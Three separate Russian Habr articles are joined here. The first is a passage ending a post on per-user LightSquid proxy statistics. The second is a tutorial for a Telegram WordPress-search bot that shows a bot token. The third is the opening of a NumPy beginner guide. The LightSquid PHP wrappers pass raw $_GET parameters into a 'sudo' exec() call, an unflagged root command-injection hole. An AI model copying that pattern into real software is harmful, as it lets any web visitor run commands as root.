echo exec($str);
include "/var/lightsquid/my_tmp/".$ip_host."log_file.html"
?
```
###### my\_bigfiles.sh
```
#!/bin/sh
$1 #ip адрес
$2 #год
$3 #месяц
$4 #день
str="log_file"
param="year="$2"&month="$3"&day="$4"&user="$1
LOG_FILE=/var/lightsquid/my_tmp/$1$str.html
{
export REQUEST_METHOD=GET
export QUERY_STRING=$param
/var/lightsquid/bigfiles.cgi
}> $LOG_FILE 2>&1
/var/lightsquid/my_scr/my_bigfiles.py $1
```
###### my\_bigfiles.py
```
#!/usr/bin/env python
#coding: utf-8
import sys #импортируем модуль sys он нам нужен чтобы читать передаваемые в скрипт параметры
ip_host = sys.argv[1] #считываем передаваемый IP адрес
seach_ip = ip_host
path_file = '/var/lightsquid/my_tmp/'+ ip_host + 'log_file.html' #путь до файла который редактируем
count_line = sum(1 for l in open(path_file, 'r')) #подсчитываем количество строк в файле
#len(open(path_file, 'r').readlines()) #второй способ посчитать количество строк в файле маленьком
file = open(path_file, 'r') # открыаем файл
lines = file.readlines() # прочитываем строки в переменную
file.close() #закрыаем файл
i = 0
for i in range(count_line): #цикл от 0 до количества строк в файле
if "index.cgi" in lines[i]:
lines[i] = lines[i].replace('index.cgi','index.php')
if "user_detail.cgi" in lines[i]:
lines[i] = lines[i].replace('user_detail.cgi','user_detail.php')
file = open('/var/lightsquid/my_tmp/' + ip_host + 'log_file.html','w')
file.writelines(lines)
file.close
```
##### Все что относится к day\_detail
###### bigfiles.php
```
php
$year = " {$_GET['year']}";
$month = " {$_GET['month']}";
$day = " {$_GET['day']}";
$ip_host = "{$_SERVER['REMOTE_ADDR']}";
$str = "sudo /var/lightsquid/my_scr/my_day_detail.sh ".$ip_host.$year.$month.$day;
echo exec($str);
include "/var/lightsquid/my_tmp/".$ip_host."log_file.html"
?
```
```
!/bin/sh
$1 #ip адрес
$2 #год
$3 #месяц
$4 #день
str="log_file" #просто для описания файла
param="year="$2"&month="$3"&day="$4 #тут создаем параметр который потом передадим в скрипт
LOG_FILE=/var/lightsquid/my_tmp/$1$str.html # место куда будем записывать результат выполнения скрипта
{
export REQUEST_METHOD=GET
export QUERY_STRING=$param
/var/lightsquid/day_detail.cgi
}> $LOG_FILE 2>&1
/var/lightsquid/my_scr/my_day_detail.py $1 #вызываем наш скрипт , которй обработает файл как надо ;)
```
```
#!/usr/bin/env python
#coding: utf-8
import sys #импортируем модуль sys он нам нужен чтобы читать передаваемые в скрипт параметры
ip_host = sys.argv[1] #считываем передаваемый IP адрес
#скрипт удаляет все строчки из файла сгенерированным lightsquid
#кроме строк где содержится ip пользователя который запросил статистику
seach_ip = ip_host
path_file = '/var/lightsquid/my_tmp/'+ ip_host + 'log_file.html' #путь до файла который редактируем
count_line = sum(1 for l in open(path_file, 'r')) #подсчитываем количество строк в файле
#len(open(path_file, 'r').readlines()) #второй способ посчитать количество строк в файле маленьком
file = open(path_file, 'r') # открыаем файл
lines = file.readlines() # прочитываем строки в переменную
file.close() #закрыаем файл
for i in range(count_line): #цикл от 0 до количества строк в файле
if "tr bgcolor=" + "\42" + "cornsilk" + "\42" in lines[i] or "tr bgcolor=" + "\42" + "beige" + "\42" in lines[i]: #если в строке найдено вхождение цвета1 или цвета2 , то работаем дальше
if seach_ip in lines[i+3]: continue #если в строке найден нужнй ip адрес то все ок , если не найден то удаляе все это дело
else:
lines[i] = " "
lines[i+1] = " "
lines[i+2] = " "
lines[i+3] = " "
lines[i+4] = " "
lines[i+5] = " "
lines[i+6] = " "
lines[i+7] = " "
lines[i+8] = " "
lines[i+9] = " "
lines[i+10] = " "
lines[i+11] = " "
lines[i+12] = " "
lines[i+13] = " "
lines[i+14] = " "
lines[i+15] = " "
lines[i+16] = " "
if "user_time.cgi" in lines[i]:
lines[i] = lines[i].replace('user_time.cgi','user_time.php')
if "index.cgi" in lines[i]:
lines[i] = lines[i].replace('index.cgi','index.php')
if "user_detail.cgi" in lines[i]:
lines[i] = lines[i].replace('user_detail.cgi','user_detail.php')
if "topsites.cgi" in lines[i]:
lines[i] = " "
if "bigfiles.cgi" in lines[i]:
lines[i] = " "
if "group_detail.cgi" in lines[i]: #Ищем строку где вхождение этого словосочетания
lines[i] = " |" #и приводим эту всю стоку к такому виду чтобы пользователи не могли смотреть группы
if "get.cgi" in lines[i]:
lines[i] = lines[i].replace('get.cgi?png=datetime','datetime.png')
file = open('/var/lightsquid/my_tmp/' + ip_host + 'log_file.html','w')
file.writelines(lines)
file.close
```
Считаю нужным пояснить этот скрипт.
Скрипт получает IP пользователя который запросил данные.
Т.к. файл который генерирует cgi однотипный, я решил привязать поиск нужной мне строки к цвету строки, там их два `"cornsilk"` и `"beige"`. Если находится такая строка где есть этот цвет, то мы перемещаемся на три строчки вниз, там есть IP адрес. Сравниваем тот или не тот, и если не тот то мы просто удаляем все 16 строк. (столько именно занимает описание одной строчки в отчете).
##### Все что относится к month\_detail
###### month\_detail.php
```
php
$year = " {$_GET['year']}";
$month = " {$_GET['month']}";
$mode = " {$_GET['mode']}";
$ip_host = "{$_SERVER['REMOTE_ADDR']}";
$str = "sudo /var/lightsquid/my_scr/my_month_detail.sh ".$ip_host.$year.$month.$mode;
echo exec($str);
include "/var/lightsquid/my_tmp/".$ip_host."log_file.html"
?
```
###### my\_month\_detail.sh
```
!/bin/sh
$1 #ip адрес
$2 #год
$3 #месяц
$4 #параметр
str="log_file" #просто для описания файла
param="year="$2"&month="$3"&mode="$4 #тут создаем параметр который потом передадим в скрипт
LOG_FILE=/var/lightsquid/my_tmp/$1$str.html # место куда будем записывать результат выполнения скрипта
{
export REQUEST_METHOD=GET
export QUERY_STRING=$param
/var/lightsquid/month_detail.cgi
}> $LOG_FILE 2>&1
/var/lightsquid/my_scr/my_month_detail.py $1 $3 #вызываем наш скрипт , которй обработает файл как надо ;)
```
###### my\_month\_detail.py
```
#!/usr/bin/env python
#coding: utf-8
import sys #импортируем модуль sys он нам нужен чтобы читать передаваемые в скрипт параметры
ip_host = sys.argv[1] #считываем передаваемый IP адрес
month = sys.argv[2]
#скрипт удаляет все строчки из файла сгенерированным lightsquid
#кроме строк где содержится ip пользователя который запросил статистику
seach_ip = ip_host
path_file = '/var/lightsquid/my_tmp/'+ ip_host + 'log_file.html' #путь до файла который редактируем
count_line = sum(1 for l in open(path_file, 'r')) #подсчитываем количество строк в файле
#len(open(path_file, 'r').readlines()) #второй способ посчитать количество строк в файле маленьком
file = open(path_file, 'r') # открыаем файл
lines = file.readlines() # прочитываем строки в переменную
file.close() #закрыаем файл
for i in range(count_line): #цикл от 0 до количества строк в файле
if "tr bgcolor=" + "\42" + "cornsilk" + "\42" in lines[i] or "tr bgcolor=" + "\42" + "beige" + "\42" in lines[i]: #если в строке найдено вхождение цвета1 или цвета2 , то работаем дальше
if seach_ip in lines[i+3]: continue #если в строке найден нужнй ip адрес то все ок , если не найден то удаляе все это дело
else:
if month == "all": # тут проблема . если передается параметр определенного месяца , то количество стро одно , а если весь год , то количество строк другое
lines[i] = " "
lines[i+1] = " "
lines[i+2] = " "
lines[i+3] = " "
lines[i+4] = " "
lines[i+5] = " "
lines[i+6] = " "
lines[i+7] = " "
lines[i+8] = " "
lines[i+9] = " "
lines[i+10] = " "
lines[i+11] = " "
lines[i+12] = " "
lines[i+13] = " "
lines[i+14] = " "
else:
lines[i] = " "
lines[i+1] = " "
lines[i+2] = " "
lines[i+3] = " "
lines[i+4] = " "
lines[i+5] = " "
lines[i+6] = " "
lines[i+7] = " "
lines[i+8] = " "
lines[i+9] = " "
lines[i+10] = " "
lines[i+11] = " "
lines[i+12] = " "
lines[i+13] = " "
lines[i+14] = " "
lines[i+15] = " "
for i in range(count_line): #цикл от 0 до количества строк в файле
if lines[i]<> " ":
if "index.cgi" in lines[i]:
lines[i] = lines[i].replace('index.cgi','index.php')
if "user_time.cgi" in lines[i]:
lines[i] = lines[i].replace('user_time.cgi','user_time.php')
if "graph.cgi" in lines[i]:
lines[i] = ' |'
if "user_month.cgi" in lines[i]:
lines[i] = lines[i].replace('user_month.cgi','user_month.php')
if "user_detail.cgi" in lines[i]:
lines[i] = lines[i].replace('user_detail.cgi','user_detail.php')
if "get.cgi" in lines[i]:
lines[i] = lines[i].replace('get.cgi?png=datetime','datetime.png')
if "get.cgi" in lines[i]:
lines[i] = lines[i].replace('get.cgi?png=graph','graph.png')
file = open('/var/lightsquid/my_tmp/' + ip_host + 'log_file.html','w')
file.writelines(lines)
file.close
```
В этом скрипте почти тоже самое что и было выше описано, только разница вот в чем, поступают разные параметры (год и месяц), поэтому и количество строк формирующие данные разные. в зависимости от получаемого параметра `month = sys.argv[2]` мы выбираем действие.
##### Все что относится к topsites
###### topsites.php
```
php
$year = " {$_GET['year']}";
$month = " {$_GET['month']}";
$day = " {$_GET['day']}";
$mode = " {$_GET['mode']}";
$order = " {$_GET['order']}";
$ip_host = "{$_SERVER['REMOTE_ADDR']}";
$str = "sudo /var/lightsquid/my_scr/my_topsites.sh ".$ip_host.$year.$month.$mode.$order;
echo exec($str);
include "/var/lightsquid/my_tmp/".$ip_host."log_file.html"
?
```
###### my\_topsites.sh
```
#!/bin/sh
$1 #ip адрес
$2 #год
$3 #месяц
$4 #день\параметр
$5 #параметр\другоще
$6 #другое
str="log_file" #просто для описания файла
if [ $5 = "hits" -o $4 = "size" ]
then
param="year="$2"&month="$3"&day=&mode="$4"ℴ="$5
else
param="year="$2"&month="$3"&mode="$4 #тут создаем параметр который потом передадим в скрипт
fi
LOG_FILE=/var/lightsquid/my_tmp/$1$str.html # место куда будем записывать результат выполнения скрипта
{
export REQUEST_METHOD=GET
export QUERY_STRING=$param
/var/lightsquid/topsites.cgi
}> $LOG_FILE 2>&1
/var/lightsquid/my_scr/my_topsites.py $1 #вызываем наш скрипт , которй обработает файл как надо ;)
```
Тут немного посложнее, тоже в скрипт передаются разные параметры, и в зависимости от принимаемых скриптом параметров он формирует запрос к cgi скрипту.
###### my\_topsites.py
```
!/usr/bin/env python
#coding: utf-8
import sys #импортируем модуль sys он нам нужен чтобы читать передаваемые в скрипт параметры
ip_host = sys.argv[1] #считываем передаваемый IP адрес
seach_ip = ip_host
path_file = '/var/lightsquid/my_tmp/'+ ip_host + 'log_file.html' #путь до файла который редактируем
count_line = sum(1 for l in open(path_file, 'r')) #подсчитываем количество строк в файле
#len(open(path_file, 'r').readlines()) #второй способ посчитать количество строк в файле маленьком
file = open(path_file, 'r') # открыаем файл
lines = file.readlines() # прочитываем строки в переменную
file.close() #закрыаем файл
i = 0
for i in range(count_line): #цикл от 0 до количества строк в файле
if "whousesite.cgi" in lines[i]: #Ищем строку где вхождение этого словосочетания
lines[i] = " |" #и приводим эту всю стоку к такому виду чтобы пользователи не могли смотреть группы
if "index.cgi" in lines[i]:
lines[i] = lines[i].replace('index.cgi','index.php')
if "topsites.cgi" in lines[i]:
lines[i] = lines[i].replace('topsites.cgi','topsites.php')
file = open('/var/lightsquid/my_tmp/' + ip_host + 'log_file.html','w')
file.writelines(lines)
file.close
```
##### Все что относится к user\_detail
###### user\_detail.php
```
php
$year = " {$_GET['year']}";
$month = " {$_GET['month']}";
$day = " {$_GET['day']}";
$mode = " {$_GET['mode']}";
$ip_host = "{$_SERVER['REMOTE_ADDR']}";
$str = "sudo /var/lightsquid/my_scr/my_user_detail.sh ".$ip_host.$year.$month.$day.$mode;
echo exec($str);
include "/var/lightsquid/my_tmp/".$ip_host."log_file.html"
?
```
###### user\_detail.sh
```
#!/bin/sh
$1 #ip адрес
$2 #год
$3 #месяц
$4 #день\параметр
str="log_file" #просто для описания файла
if [ $4 = "month" -o $4 = "year" ]
then
param="year="$2"&month="$3"&user="$1"&mode="$4 #тут создаем параметр который потом передадим в скрипт
else
param="year="$2"&month="$3"&day="$4"&user="$1
fi
LOG_FILE=/var/lightsquid/my_tmp/$1$str.html # место куда будем записывать результат выполнения скрипта
{
export REQUEST_METHOD=GET
export QUERY_STRING=$param
/var/lightsquid/user_detail.cgi
}> $LOG_FILE 2>&1
/var/lightsquid/my_scr/my_user_detail.py $1 #вызываем наш скрипт , которй обработает файл как надо ;)
```
###### user\_detail.py
```
#!/usr/bin/env python
#coding: utf-8
import sys #импортируем модуль sys он нам нужен чтобы читать передаваемые в скрипт параметры
ip_host = sys.argv[1] #считываем передаваемый IP адрес
seach_ip = ip_host
path_file = '/var/lightsquid/my_tmp/'+ ip_host + 'log_file.html' #путь до файла который редактируем
count_line = sum(1 for l in open(path_file, 'r')) #подсчитываем количество строк в файле
#len(open(path_file, 'r').readlines()) #второй способ посчитать количество строк в файле маленьком
file = open(path_file, 'r') # открыаем файл
lines = file.readlines() # прочитываем строки в переменную
file.close() #закрываем файл
i = 0
for i in range(count_line): #цикл от 0 до количества строк в файле
if "index.cgi" in lines[i]:
lines[i] = lines[i].replace('index.cgi','index.php')
if "user_time.cgi" in lines[i]:
lines[i] = lines[i].replace('user_time.cgi','user_time.php')
if "bigfiles.cgi" in lines[i]:
lines[i] = lines[i].replace('bigfiles.cgi','bigfiles.php')
if "get.cgi" in lines[i]:
lines[i] = lines[i].replace('get.cgi?png=datetime','datetime.png')
file = open('/var/lightsquid/my_tmp/' + ip_host + 'log_file.html','w')
file.writelines(lines)
file.close
```
##### Все что относится к user\_month
###### user\_month.php
```
php
$year = " {$_GET['year']}";
$month = " {$_GET['month']}";
$ip_host = "{$_SERVER['REMOTE_ADDR']}";
$str = "sudo /var/lightsquid/my_scr/my_user_month.sh ".$ip_host.$year.$month;
echo exec($str);
include "/var/lightsquid/my_tmp/".$ip_host."log_file.html"
?
```
###### user\_month.sh
```
#!/bin/sh
$1 #ip адрес
$2 #год
$3 #месяц
str="log_file"
param="year="$2"&month="$3"&user="$1
LOG_FILE=/var/lightsquid/my_tmp/$1$str.html
{
export REQUEST_METHOD=GET
export QUERY_STRING=$param
/var/lightsquid/user_month.cgi
}> $LOG_FILE 2>&1
/var/lightsquid/my_scr/my_user_month.py $1
```
###### user\_month.py
```
#!/usr/bin/env python
#coding: utf-8
import sys #импортируем модуль sys он нам нужен чтобы читать передаваемые в скрипт параметры
ip_host = sys.argv[1] #считываем передаваемый IP адрес
#скрипт удаляет все строчки из файла сгенерированным lightsquid
#кроме строк где содержится ip пользователя который запросил статистику
seach_ip = ip_host
path_file = '/var/lightsquid/my_tmp/'+ ip_host + 'log_file.html' #путь до файла который редактируем
count_line = sum(1 for l in open(path_file, 'r')) #подсчитываем количество строк в файле
#len(open(path_file, 'r').readlines()) #второй способ посчитать количество строк в файле маленьком
file = open(path_file, 'r') # открыаем файл
lines = file.readlines() # прочитываем строки в переменную
file.close() #закрыаем файл
i = 0
for i in range(count_line): #цикл от 0 до количества строк в файле
if "user_detail.cgi" in lines[i]: #если в строке найдено обращение к файлу cgi
lines[i] = lines[i].replace('user_detail.cgi','user_detail.php') #немножко корректируем строку , чтобы ссылка обращалась к нашему скрипту
if "index.cgi" in lines[i]:
lines[i] = lines[i].replace('index.cgi','index.php')
if "graph.cgi" in lines[i]:
lines[i] = lines[i].replace('graph.cgi','graph.php')
file = open('/var/lightsquid/my_tmp/' + ip_host + 'log_file.html','w')
file.writelines(lines)
file.close
```
##### Все что относится к user\_time
###### user\_time.php
```
php
$year = " {$_GET['year']}";
$month = " {$_GET['month']}";
$day = " {$_GET['day']}";
$mode = " {$_GET['mode']}";
$ip_host = "{$_SERVER['REMOTE_ADDR']}";
$str = "sudo /var/lightsquid/my_scr/my_user_time.sh ".$ip_host.$year.$month.$mode;
echo exec($str);
include "/var/lightsquid/my_tmp/".$ip_host."log_file.html"
?
```
###### user\_time.sh
```
#!/bin/sh
$1 #ip адрес
$2 #год
$3 #месяц
$4 #день\параметр
str="log_file" #просто для описания файла
if [ $4 = "month" -o $4 = "year" ]
then
param="year="$2"&month="$3"&user="$1"&mode="$4 #тут создаем параметр который потом передадим в скрипт
else
param="year="$2"&month="$3"&day="$4"&user="$1
fi
LOG_FILE=/var/lightsquid/my_tmp/$1$str.html # место куда будем записывать результат выполнения скрипта
{
export REQUEST_METHOD=GET
export QUERY_STRING=$param
/var/lightsquid/user_time.cgi
}> $LOG_FILE 2>&1
/var/lightsquid/my_scr/my_user_time.py $1 #вызываем наш скрипт , которй обработает файл как надо ;)
```
###### user\_time.py
```
#!/usr/bin/env python
#coding: utf-8
import sys #импортируем модуль sys он нам нужен чтобы читать передаваемые в скрипт параметры
ip_host = sys.argv[1] #считываем передаваемый IP адрес
#скрипт удаляет все строчки из файла сгенерированным lightsquid
#кроме строк где содержится ip пользователя который запросил статистику
seach_ip = ip_host
path_file = '/var/lightsquid/my_tmp/'+ ip_host + 'log_file.html' #путь до файла который редактируем
count_line = sum(1 for l in open(path_file, 'r')) #подсчитываем количество строк в файле
#len(open(path_file, 'r').readlines()) #второй способ посчитать количество строк в файле маленьком
file = open(path_file, 'r') # открыаем файл
lines = file.readlines() # прочитываем строки в переменную
file.close() #закрыаем файл
i = 0
for i in range(count_line): #цикл от 0 до количества строк в файле
if "index.cgi" in lines[i]:
lines[i] = lines[i].replace('index.cgi','index.php')
file = open('/var/lightsquid/my_tmp/' + ip_host + 'log_file.html','w')
file.writelines(lines)
file.close
```
#### Итог
Ну вот и все, надеюсь ни кого ни утомил количеством скриптов. Надеюсь данная статья поможет кому то решить такой же вопрос, а возможно он и улучшить его. | https://habr.com/ru/post/548782/ | null | ru | null |
# Простой Telegram бот для поиска по сайту на WordPress без знаний программирования
Сразу на входе скажу - это инструкция не для разработчиков, это инструкция для тех, кто вообще ничего не понимает в программировании, но очень хочет сделать простого бота, который бы умел искать по сайту. Идея такой статьи появилась после того, как я сам долго гуглил и не мог найти, как вообще такое делается, а после, немного разобравшись понял, что тут все просто. Поэтому это не открытие Америки, а простая инструкция для вас, если вы не хотите разбираться, платить деньги, а просто быстро запустить простого бота. Инструкция от начала и до конца - как сделать и запустить.
Что получим?
------------
Что мы получим? Получим бота ( [пример бота](http://t.me/GdeSnimali_bot)), который умеет искать по сайту и присылает пользователю ссылку на статью или набор ссылок на статьи. В названии я написал Wordpress, но по идее любой сайт. который поддерживает RestApi. Показывать буду на примере своего сайта, для которого это делал. Итак есть контентный сайт [gdesnimali.ru](https://gdesnimali.ru/), сайт на wordpress и каждый пост там - это описание локаций того или иного фильма. Искать мы будем только по названию фильма, а оно указано в заголовке, поэтому интересует поиск только по заголовку. Мы ожидаем, что в бота человек напишет название фильма, а в ответ хочет получить все что найдет поисковик на сайте.
### Создание бота в телеграм
Идем по ссылке t.me/BotFather - это чат бот для создания ботов. Там пишем /newbot, он попросит выбрать нас название для своего бота, обязательное требование, чтобы название заканчивалось на \_bot, поэтому у меня gdesnimali\_bot
Если название подошло, то нам покажется сообщение где будет токен, он то нам и нужен. Выглядит это примерно так:
`Use this token to access the HTTP API:
5133698220:AAHqiEwVzn0lH2nrwqntlHNmYeQecGL0x`
Знайте, любой кто получит этот токен сможет управлять ботом, поэтому никому его не показывайте.
Но не спешите уходить из бота, он знает еще две нужные нам команды:
`/setuserpic` - отправляйте команду и следом картинуку, которая будет аватаркой бота.
`/setdescription` - отправляйте команду и следом описание вашего бота, которое будет высвечиваться пользователю до нажатия кнопки старт. Тут важно емко и интересно описать, что бот делает, чтобы пользователь не удалил его сразу.
### Адаптируем код
Итак, я не программист, поэтому кто-то может уйти в депрессию от моего кода, но главное - он работает. Код просто копируем и правим пару мест
```
import telebot
import requests
from telebot import types
bot = telebot.TeleBot('ВОТ ТУТ НУЖНО ВСТАВИТЬ КОД ОТ ТЕЛЕГРАМ')
bot.remove_webhook()
@bot.message_handler(commands=['start'])
def start_message(message):
user_id = message.from_user.id
pressStartButton = 'Кнопка старт'
markup = types.ReplyKeyboardMarkup(resize_keyboard=True)
filmSearchButton = types.KeyboardButton('ВОТ ТУТ КНОПКА ДЛЯ СТАРТА ПОИСКА')
markup.add (filmSearchButton)
bot.send_message(message.chat.id, "ВОТ ТУТ ПРИВЕТСТВЕННОЕ СООБЩЕНИЕ БОТА ПОСЛЕ КНОПКИ СТАРТ",
parse_mode='html', reply_markup=markup)
@bot.message_handler(content_types=['text'])
def lalala (message):
if message.chat.type == 'private':
if message.text == 'ВОТ ТУТ КНОПКА ДЛЯ СТАРТА ПОИСКА':
bot.send_message(message.chat.id, 'ВОТ ТУТ ОПИСАНИЕ ЧТО МОЖНО ИСКАТЬ')
else:
user_id = message.from_user.id
searchQuery = message.text
url = f"ВОТ ТУТ АДРЕС ВАШЕГО САЙТА wp-json/wp/v2/posts?search={searchQuery}"
responce = requests.get(url)
if not responce.json():
bot.send_message(message.chat.id, 'Я ничего не нашел по вашему запросу')
for SearchResult in responce.json():
title = SearchResult['title']
completeMessage = f"{title['rendered']} {SearchResult['link']}"
bot.send_message(message.chat.id, completeMessage)
bot.polling(none_stop=True)
```
Что нужно в нем поменять?
Где надпись "ВОТ ТУТ НУЖНО ВСТАВИТЬ КОД ОТ ТЕЛЕГРАМ" - нужно вставить код который вы получили в телеграм при создании бота.
Где надпись "ВОТ ТУТ АДРЕС ВАШЕГО САЙТА" - должно получиться вот так, только вначале ваш сайт - f"<https://gdesnimali.ru/>wp-json/wp/v2/posts?search={searchQuery}"
Где надпись "ВОТ ТУТ КНОПКА ДЛЯ СТАРТА ПОИСКА" (Обратите внимание она в коде два раза, оба раза должно быть одинаково до символа" - нужно написать просто на русском запрос на поиск, у меня написано "Искать фильм" - это кнопка которая будет снизу в меню, при ее нажатии он выведет сообщение "ВОТ ТУТ ОПИСАНИЕ, ЧТО МОЖНО ИСКАТЬ" - у меня это "Введите название фильма".
Готово, теперь вам нужно просто сохранить этот код в файле питон, т.е. он должен заканчиваться на .py, например [bot.py](http://bot.py) проще всего код вставить в обычный блокнот, там поправить и потом нажать "сохранить как" и сразу опубликовать с нужным форматом .py
### Запуск на сервере
Бот должен где-то работать и он не может это делать на серверах телеграм.
Для своего бота я использую VPS сервер своего сайта и это было отдельным приключением все там настроить и установить. Вам я предлагаю использовать, как минимум на первое время хостинг pythoneverywhere. Он бесплатный для одного проекта. И есть отличная инструкция как запустить там бота. Я не буду ее переписывать, просто используйте код полуенный выше вместо кода в инструкции (Например эта: [ссылка на инструкцию](https://pythonhelp.ru/post/2018-11-24-pythonanywhere/)). | https://habr.com/ru/post/659329/ | null | ru | null |
# NumPy, пособие для новичков. Часть 1
**NumPy** — это расширение языка Python, добавляющее поддержку больших многомерных массивов и матриц, вместе с большой библиотекой высокоуровневых математических функций для операций с этими массивами.
Первая часть учебника рассказывает об основах работы с NumPy: создании массивов, их атрибутах, базовых операциях, поэлементном применении функций, индексах, срезах, итерировании. Рассматриваются различные манипуляции с преобразованием формы массива, объединение массивов из нескольких и наоборот — разбиение одного на несколько более мелких. В конце мы обсудим поверхностное и глубокое копирование.
Основы
======
Если вы еще не устанавливали NumPy, то взять его можно [здесь](http://new.scipy.org/download.html). Используемая версия Python — 2.6.
Основным объектом NumPy является однородный многомерный массив. Это таблица элементов (обычно чисел), всех одного типа, индексированных последовательностями натуральных чисел.
Под «многомерностью» массива мы понимаем то, что у него может быть несколько *измерений* или *осей*. Поскольку слово «измерение» является неоднозначным, вместо него мы чаще будем использовать слова «ось» (axis) и «оси» (axes). Число осей называется *рангом* (rank).
Например, координаты точки в трехмерном пространстве [1, 2, 1] это массив ранга 1 у него есть только одна ось. Длина этой оси — 3. Другой пример, массив
`[[ 1., 0., 0.],
[ 0., 1., 2.]]`
представляет массив ранга 2 (то есть это двухмерный массив). Длина первого измерения (оси) — 2, длина второй оси — 3. Для получения дополнительной информации смотрите [глоссарий Numpy](http://www.scipy.org/Numpy_Glossary).
Класс многомерных массивов называется `ndarray`. Заметим, что это не то же самое, что класс `array` стандартной библиотеки Python, который используется только для одномерных массивов. Наиболее важные атрибуты объектов `ndarray`:
**ndarray.ndim** — число осей (измерений) массива. Как уже было сказано, в мире Python число измерений часто называют рангом.
**ndarray.shape** — размеры массива, его форма. Это кортеж натуральных чисел, показывающий длину массива по каждой оси. Для матрицы из *n* строк и *m* столбов, `shape` будет `(n,m)`. Число элементов кортежа `shape` равно рангу массива, то есть `ndim`.
**ndarray.size** — число всех элементов массива. Равно произведению всех элементов атрибута `shape`.
**ndarray.dtype** — объект, описывающий тип элементов массива. Можно определить `dtype`, используя стандартные типы данных Python. NumPy здесь предоставляет целый букет возможностей, например: `bool_, character, int_, int8, int16, int32, int64, float_, float8, float16, float32, float64, complex_, complex64, object_`.
**ndarray.itemsize** — размер каждого элемента массива в байтах. Например, для массива из элементов типа `float64` значение `itemsize` равно 8 (=64/8), а для `complex32` этот атрибут равен 4 (=32/8).
**ndarray.data** — буфер, содержащий фактические элементы массива. Обычно нам не будет нужно использовать этот атрибут, потому как мы будем обращаться к элементам массива с помощью индексов.
### Пример
Определим следующий массив:
> `Copy Source | Copy HTML
> >>> from numpy import \*
> >>> a = arange(10).reshape(2,5)
> >>> a
> **array**([[ 0, 1, 2, 3, 4],
> [5, 6, 7, 8, 9]])`
Мы только что создали объект массива с именем *a*. У массива *a* есть несколько атрибутов или свойств. В Python атрибуты отдельного объекта обозначаются как `name_of_object.attribute`. В нашем случае:
* `a.shape` это (2,5)
* `a.ndim` это 2 (что равно длине `a.shape`)
* `a.size` это 10
* `a.dtype.name` это int32
* `a.itemsize` это 4, что означает, что int32 занимает 4 байта памяти.
Вы можете проверить все эти атрибуты, просто набрав их в интерактивном режиме:
> `Copy Source | Copy HTML
> >>> a.shape
> (2, 5)
> >>> a.dtype.name
> 'int32'`
И так далее.
### Создание массивов
Есть много способов для того, чтобы создать массив. Например, вы можете создать массив из обычных списков или кортежей Python, используя функцию `array()`:
> `Copy Source | Copy HTML
> >>> from numpy import \*
> >>> a = **array**( [2,3,4] )
> >>> a
> **array**([2, 3, 4])
> >>> **type**(a)
> 'numpy.ndarray'>`
Функция `array()` трансформирует вложенные последовательности в многомерные массивы. Тип массива зависит от типа элементов исходной последовательности.
> `Copy Source | Copy HTML
> >>> b = **array**( [ (1.5,2,3), (4,5,6) ] ) # это станет массивом float элементов
> >>> b
> **array**([[ 1.5, 2. , 3. ],
> [ 4. , 5. , 6. ]])`
Раз у нас есть массив, мы можем взглянуть на его атрибуты:
> `Copy Source | Copy HTML
> >>> b.ndim # число осей
> 2
> >>> b.shape # размеры
> (2, 3)
> >>> b.dtype # тип (8-байтовый float)
> dtype('float64')
> >>> b.itemsize # размер элемента данного типа
> 8`
Тип массива может быть явно указан в момент создания:
> `Copy Source | Copy HTML
> >>> c = **array**( [ [1,2], [3,4] ], dtype=complex )
> >>> c
> **array**([[ 1.+ 0.j, 2.+ 0.j],
> [ 3.+ 0.j, 4.+ 0.j]])`
Часто встречающаяся ошибка состоит в вызове функции `array()` с множеством числовых аргументов вместо предполагаемого единственного аргумента в виде списка чисел:
> `Copy Source | Copy HTML
> >>> a = **array**(1,2,3,4) # WRONG
> >>> a = **array**([1,2,3,4]) # RIGHT`
Функция `array()` не единственная функция для создания массивов. Обычно элементы массива вначале неизвестны, а массив, в котором они будут храниться уже нужен. Поэтому имеется несколько функций для того, чтобы создавать массивы с каким-то исходным содержимым. По умолчанию тип создаваемого массива — `float64`.
Функция `zeros()` создает массив нулей, а функция `ones()` — массив единиц:
> `Copy Source | Copy HTML
> >>> zeros( (3,4) ) # аргумент задает форму массива
> **array**([[ 0., 0., 0., 0.],
> [ 0., 0., 0., 0.],
> [ 0., 0., 0., 0.]])
> >>> ones( (2,3,4), dtype=int16 ) # то есть также может быть задан dtype
> **array**([[[ 1, 1, 1, 1],
> [ 1, 1, 1, 1],
> [ 1, 1, 1, 1]],
> [[ 1, 1, 1, 1],
> [ 1, 1, 1, 1],
> [ 1, 1, 1, 1]]], dtype=int16)`
Функция `empty()` создает массив без его заполнения. Исходное содержимое случайно и зависит от состояния памяти на момент создания массива (то есть от того мусора, что в ней хранится):
> `Copy Source | Copy HTML
> >>> empty( (2,3) )
> **array**([[ 3.73603959e-262, 6.02658058e-154, 6.55490914e-260],
> [ 5.30498948e-313, 3.14673309e-307, 1.00000000e+000]])
> >>> empty( (2,3) ) # содержимое меняется при новом вызове
> **array**([[ 3.14678735e-307, 6.02658058e-154, 6.55490914e-260],
> [ 5.30498948e-313, 3.73603967e-262, 8.70018275e-313]])`
Для создания последовательностей чисел, в NumPy имеется функция, аналогичная `range()`, только вместо списков она возвращает массивы:
> `Copy Source | Copy HTML
> >> arange( 10, 30, 5 )
> **array**([10, 15, 20, 25])
> >>> arange( 0, 2, 0.3 )
> **array**([ 0. , 0.3, 0.6, 0.9, 1.2, 1.5, 1.8])`
При использовании `arange()` с аргументами типа `float`, сложно быть уверенным в том, сколько элементов будет получено (из-за ограничения точности чисел с плавающей запятой). Поэтому, в таких случаях обычно лучше использовать функцию `linspace()` которая вместо шага в качестве одного из аргументов принимает число, равное количеству нужных элементов:
> `Copy Source | Copy HTML
> >>> linspace( 0, 2, 9 ) # 9 чисел от 0 до 2
> **array**([ 0. , 0.25, 0.5 , 0.75, 1. , 1.25, 1.5 , 1.75, 2. ])
> >>> x = linspace( 0, 2\*pi, 100 ) # полезно для вычисления значений функции в множестве точек
> >>> f = sin(x)`
### Печать массивов
Когда вы печатаете массив, NumPy показывает их схожим с вложенными списками образом, но размещает немного иначе:
* последняя ось печатается слева направо,
* предпоследняя — сверху вниз,
* и оставшиеся — также сверху вниз, разделяя пустой строкй.
Одномерные массивы выводятся как строки, двухмерные — как матрицы, а трехмерные — как списки матриц.
> `Copy Source | Copy HTML
> >>> a = arange(6) # 1d array
> >>> print a
> [0 1 2 3 4 5]
> >>>
> >>> b = arange(12).reshape(4,3) # 2d array
> >>> print b
> [[ 0 1 2]
> [ 3 4 5]
> [ 6 7 8]
> [ 9 10 11]]
> >>>
> >>> c = arange(24).reshape(2,3,4) # 3d array
> >>> print c
